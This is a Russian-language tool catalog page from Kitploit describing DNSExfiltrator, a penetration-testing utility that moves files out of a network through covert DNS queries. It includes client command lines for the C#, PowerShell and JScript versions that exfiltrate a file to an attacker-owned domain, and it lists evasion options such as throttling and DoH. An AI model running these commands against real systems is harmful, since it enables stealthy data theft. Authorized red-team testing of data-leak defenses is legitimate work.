Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DNSExfiltrator — Эксфильтрация данных через скрытый канал DNS-запросов | Kitploit
Инструменты/GitHubGitHub/arno0x/dnsexfiltrator
Эксфильтрация данныхТестирование на ПроникновениеRed TeamingАнализ DNS
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

Эксфильтрация данных через скрытый канал DNS-запросов

Репозиторий
8841908 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DNSExfiltrator

Автор: Arno0x0x - @Arno0x0x

DNSExfiltrator позволяет передавать (эксплуатировать) файл через скрытый канал DNS-запросов. Это, по сути, инструмент для тестирования утечки данных, позволяющий эксплуатировать данные через скрытый канал.

DNSExfiltrator состоит из двух частей:

  1. Серверная сторона, представленная одним скриптом на Python (dnsexfiltrator.py), который работает как собственный DNS-сервер, принимающий файл.
  2. Клиентская сторона (сторона жертвы), которая доступна в трех вариантах:
  • dnsExfiltrator.cs: скрипт на C#, который можно скомпилировать с помощью csc.exe для получения управляемого исполняемого файла Windows.
  • Invoke-DNSExfiltrator.ps1: скрипт PowerShell, предоставляющий те же функциональные возможности путем обертывания сборки dnsExfiltrator.
  • dnsExfiltrator.js: скрипт JScript, который является преобразованием сборки DLL dnsExiltrator с помощью DotNetToJScript и предоставляет те же функциональные возможности.

Для работы всей схемы вам необходимо владеть доменным именем и настроить DNS-запись (NS) для этого домена так, чтобы она указывала на сервер, на котором будет запущена серверная часть dnsexfiltrator.py.

Возможности

По умолчанию DNSExfiltrator использует DNS-сервер, определенный в системе, но вы также можете указать конкретный DNS-сервер для использования (полезно для отладки или для локального запуска серверной части, например).

Кроме того, с помощью параметра h DNSExfiltrator может выполнять DoH (DNS через HTTP) с использованием серверов Google или CloudFlare DoH.

По умолчанию данные для эксплуатации кодируются в base64URL, чтобы соответствовать DNS-запросам. Однако некоторые DNS-резолверы могут нарушить это кодирование (что вполне справедливо, так как FQDN не должны быть чувствительны к регистру), путая чувствительность к регистру (верхний или нижний), что, очевидно, важно для процесса кодирования/декодирования. Чтобы обойти эту проблему, вы можете использовать флаг -b32, чтобы принудительно применить кодирование Base32 данных, что немного увеличивает размер. Если вы используете DoH CloudFlare, кодирование base32 применяется автоматически.

DNSExfiltrator поддерживает базовое шифрование RC4 экспортируемых данных, используя предоставленный пароль для шифрования/расшифровки данных.

DNSExfiltrator также предоставляет некоторые дополнительные функции для предотвращения обнаружения:

  • регулировка запросов для большей скрытности при экспорте данных;
  • уменьшение размера DNS-запроса (по умолчанию он будет пытаться использовать как можно больше доступных байтов в каждом DNS-запросе для эффективности);
  • уменьшение размера метки DNS (по умолчанию он будет пытаться использовать максимально поддерживаемый размер метки в 63 символа).

Зависимости

Единственная зависимость — на стороне сервера, так как скрипт dnsexfiltrator.py использует внешнюю библиотеку dnslib. Вы можете установить её с помощью pip:

root@kitploit:~
pip install -r requirements.txt

Использование

СЕРВЕРНАЯ СТОРОНА

Запустите скрипт dnsexfiltrator.py, передав ему имя домена и пароль для расшифровки:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

КЛИЕНТСКАЯ СТОРОНА

Вы можете либо использовать скомпилированную версию, либо обертку PowerShell (которая, по сути, одно и то же) либо обертку JScript. В любом случае параметры одинаковы, с небольшим отличием в способе их передачи в PowerShell.

1/ Используя скомпилированный исполняемый файл Windows на C# (который можно найти в каталоге release):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [ОБЯЗАТЕЛЬНО] Имя файла для экспорта.
      domainName:     [ОБЯЗАТЕЛЬНО] Доменное имя для использования в DNS-запросах.
      password:       [ОБЯЗАТЕЛЬНО] Пароль для шифрования экспортируемых данных.
      -b32:           [НЕОБЯЗАТЕЛЬНО] Использовать кодирование base32 данных. Может потребоваться, если некоторые DNS-резолверы нарушают регистр.
      h:              [НЕОБЯЗАТЕЛЬНО] Использовать серверы DoH Google или CloudFlare (DNS через HTTP).
      DNS_Server:     [НЕОБЯЗАТЕЛЬНО] Имя или IP-адрес DNS-сервера для DNS-запросов. По умолчанию используется системный.
      throttleTime:   [НЕОБЯЗАТЕЛЬНО] Время в миллисекундах ожидания между каждым DNS-запросом.
      requestMaxSize: [НЕОБЯЗАТЕЛЬНО] Максимальный размер в байтах для каждого DNS-запроса. По умолчанию 255 байт.
      labelMaxSize:   [НЕОБЯЗАТЕЛЬНО] Максимальный размер в символах для каждой метки DNS (поддомена). По умолчанию 63 символа.

2/ Используя скрипт PowerShell, просто вызовите его любым удобным способом (вы, вероятно, знаете множество способов вызова скрипта PowerShell) вместе с параметрами скрипта. Самый простой пример:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

Дополнительные примеры использования смотрите в разделе EXAMPLES файла скрипта.

3/ Используя скрипт JScript, передайте ему те же аргументы, что и для отдельного исполняемого файла Windows:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

Или с некоторыми опциями:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • Кто-то попросит шифрование AES вместо RC4, я знаю... возможно, добавлю позже.
  • Отображение расчетного времени передачи.
  • Улучшить разбор аргументов (мне лень учить библиотеку разбора аргументов C#, хотелось бы, чтобы это было так же просто, как в Python).

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот инструмент предназначен для использования только в законных и легитимных целях:

  • либо на ваших собственных системах для обучения, демонстрации возможностей и тестирования ваших механизмов защиты и обнаружения;
  • либо на системах, для которых вы официально и законно получили право проводить оценку безопасности (пентест, аудит безопасности).

Цитируя авторов Empire: Невозможно создавать наступательные инструменты, полезные для легитимной индустрии информационной безопасности, одновременно предотвращая их злоупотребление злоумышленниками.

Скачать инструмент